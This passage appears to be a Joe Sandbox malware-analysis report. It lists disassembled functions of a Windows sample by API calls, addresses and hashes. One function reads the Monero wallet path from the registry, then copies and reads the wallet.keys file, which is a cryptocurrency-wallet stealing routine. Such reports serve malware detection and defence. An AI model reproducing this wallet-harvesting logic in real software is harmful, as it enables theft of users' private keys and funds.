GlobalLock.KERNEL32(?), ref: 00192027
GlobalSize.KERNEL32(?), ref: 00192033

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00185482: lstrlenA.KERNEL32(?), ref: 00185519
Part of subcall function 00185482: StrCmpCA.SHLWAPI(?,001B6976,001B695B,001B6957,001B694B), ref: 00185588
Part of subcall function 00185482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 001855AA

SelectObject.GDI32(?,?), ref: 00192091
DeleteObject.GDI32(?), ref: 001920AC
DeleteObject.GDI32(?), ref: 001920B5
ReleaseDC.USER32(00000000,00000000), ref: 001920BD
CloseWindow.USER32(00000000), ref: 001920C4

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: GlobalObject$Window$DeleteSelectStreamlstrcpy$CloseCreateDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 1802806997-0
Opcode ID: d39e8049ba49bd79cb0725f927157ca300bc71758a151bfb6deca8333548c529
Instruction ID: 16b6a9e270406d7eb5391b6d91f2b97583bf0fdc525982f0d52a2164fecd8f53
Opcode Fuzzy Hash: d39e8049ba49bd79cb0725f927157ca300bc71758a151bfb6deca8333548c529
Instruction Fuzzy Hash: C851C176801118AFDF12BFA5ED499AEBF7DFF08311F044426F901E6120DB309A55DBA1

Function 001A8B64 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 001A8B7D

Part of subcall function 001A40C2: Sleep.KERNEL32(00000000,?), ref: 001A40EA

__calloc_crt.LIBCMT ref: 001A8BA1
_free.LIBCMT ref: 001A8BAF
__calloc_crt.LIBCMT ref: 001A8BBD
_free.LIBCMT ref: 001A8BCD
_free.LIBCMT ref: 001A8BD3
__copytlocinfo_nolock.LIBCMT ref: 001A8BE2
__setlocale_nolock.LIBCMT ref: 001A8BEF
_free.LIBCMT ref: 001A8C08
__setmbcp_nolock.LIBCMT ref: 001A8C1A
_free.LIBCMT ref: 001A8C28
_free.LIBCMT ref: 001A8C3C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 0bfd5681c6dfdf8b1efa893f65c53523ad19a6f35d026be3c84c101a930647ac
Instruction ID: 6f4ce30bc2d34ef7adbda06b17400535aba745b70af9cd036151d4ac42f0a1f0
Opcode Fuzzy Hash: 0bfd5681c6dfdf8b1efa893f65c53523ad19a6f35d026be3c84c101a930647ac
Instruction Fuzzy Hash: B521083D504600EFDB39BF29E803D5ABBE4EFA3B64B24442DF58596152EF319C009A65

Function 001815E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 001815BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 001815C6
Part of subcall function 001815BC: HeapAlloc.KERNEL32(00000000), ref: 001815CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00181606
GetLastError.KERNEL32 ref: 0018160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00181614
GetWindowContextHelpId.USER32(00000000), ref: 0018161B
GetWindowLongW.USER32(00000000,00000000), ref: 00181623
RegisterClassW.USER32(00000000), ref: 0018162A
IsWindowVisible.USER32(00000000), ref: 00181631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00181638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00181644
IsDialogMessageW.USER32(00000000,00000000), ref: 0018164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00181656
HeapFree.KERNEL32(00000000), ref: 0018165D

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: d47fad2b53ca7759b3b2daa58738b8be2f1797321f3616565b8c451922f83172
Instruction ID: 987632c6cd1b7bc31d6b28348834b15f1d1764396a2ceba27aa91aff4621c207
Opcode Fuzzy Hash: d47fad2b53ca7759b3b2daa58738b8be2f1797321f3616565b8c451922f83172
Instruction Fuzzy Hash: C2014272402824BB87177BA1ED4DDDF3F6CEF4E3927140245F60A914208B798686CBFA

Function 0019B9D6 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,?), ref: 0019BA0A
GetFileSize.KERNEL32(?,00000000), ref: 0019BA83
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0019BA9F
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0019BAB3
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0019BABC
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0019BACC
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0019BAEA
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0019BAFA

Strings

, xrefs: 0019BA56

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: a97f90e6c042f64ea212252e86e9629f0a9e1b7af1e4eb145b214c01c5a19598
Instruction ID: cf391fee9442a4c2b7dc956c623a21f2858d27dc12bbcbeeb28a9068d8336481
Opcode Fuzzy Hash: a97f90e6c042f64ea212252e86e9629f0a9e1b7af1e4eb145b214c01c5a19598
Instruction Fuzzy Hash: 2851F2B1D04218AFDF29DFA9E9C1AAEBBB9FB48304F10442AE512E7260D7749D45CF50

Function 00181AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00181ADC

Part of subcall function 00181A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00181A65
Part of subcall function 00181A51: HeapAlloc.KERNEL32(00000000), ref: 00181A6C
Part of subcall function 00181A51: RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00181AE9), ref: 00181A89
Part of subcall function 00181A51: RegQueryValueExA.ADVAPI32(00181AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00181AA4
Part of subcall function 00181A51: RegCloseKey.ADVAPI32(00181AE9), ref: 00181AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00181AF1
lstrlenA.KERNEL32(?), ref: 00181AFE
lstrcatA.KERNEL32(?,.keys), ref: 00181B19

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

CopyFileA.KERNEL32(?,?,00000001), ref: 00181C2A

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

DeleteFileA.KERNEL32(?), ref: 00181C9D

Part of subcall function 00196ED9: CreateThread.KERNEL32(00000000,00000000,00196E08,?,00000000,00000000), ref: 00196F78
Part of subcall function 00196ED9: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00196F80

Strings

\Monero\wallet.keys, xrefs: 00181B2F
.keys, xrefs: 00181B0D

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: 3d716807d6723b0d938bebfed008e2f997b37491673b866293a101f58ec72f68
Instruction ID: 680037c701629713974c2d36eb574198f4aa937e36ad5d798ccd2b7135c4cdc4
Opcode Fuzzy Hash: 3d716807d6723b0d938bebfed008e2f997b37491673b866293a101f58ec72f68
Instruction Fuzzy Hash: B651A672D5012D9BCF22BB64EC46ADD77B8AF24304F4144A5F608B7152DB30AF868F54

Function 0018DB54 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0018DB90
strchr.MSVCRT ref: 0018DBA2
strchr.MSVCRT ref: 0018DBC7
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0018DCCC), ref: 0018DBE9
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018DBF6
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0018DCCC), ref: 0018DBFD
strcpy_s.MSVCRT ref: 0018DC44

Strings

0123456789ABCDEF, xrefs: 0018DB6E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: 1a028c021f2acf466bb046142eb739d58e8506898a7dc3a4c7c2efd6aa81fbeb
Instruction ID: f6a9eb811fa6b0c67d3a9fa21d752cd625d3565a59c4dbc81846361923722cd2
Opcode Fuzzy Hash: 1a028c021f2acf466bb046142eb739d58e8506898a7dc3a4c7c2efd6aa81fbeb
Instruction Fuzzy Hash: 073181729002199FDB01EFE8DC49AEEBBB9EF49311F110169F901FB181DB75AA45CB50

Function 0019F992 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0019F9B7

Part of subcall function 0019F552: Replicator::operator[].LIBCMT ref: 0019F5D5
Part of subcall function 0019F552: DName::operator+=.LIBCMT ref: 0019F5DD

DName::operator+.LIBCMT ref: 0019FA10
DName::DName.LIBCMT ref: 0019FA68

Strings

<ellipsis>, xrefs: 0019FA52
,..., xrefs: 0019F9FC, 0019FA08
..., xrefs: 0019FA4B, 0019FA57
,<ellipsis>, xrefs: 0019FA03
void, xrefs: 0019FA60

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d501407307fe1fee96d32b7a0abe341d8289cbda0ef6d817f780a151e28ff0cc
Instruction ID: 9026671aa95dd295f750728ec5a576a6407af369286745f91f812bae3371a6af
Opcode Fuzzy Hash: d501407307fe1fee96d32b7a0abe341d8289cbda0ef6d817f780a151e28ff0cc
Instruction Fuzzy Hash: 17215970742244BFCF05DF18E9449A97BE4FB45348B4480A9E849DB266CB30EA43CB41

Function 001A132B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 001A1335
DName::DName.LIBCMT ref: 001A1341

Part of subcall function 0019F00C: DName::doPchar.LIBCMT ref: 0019F03D

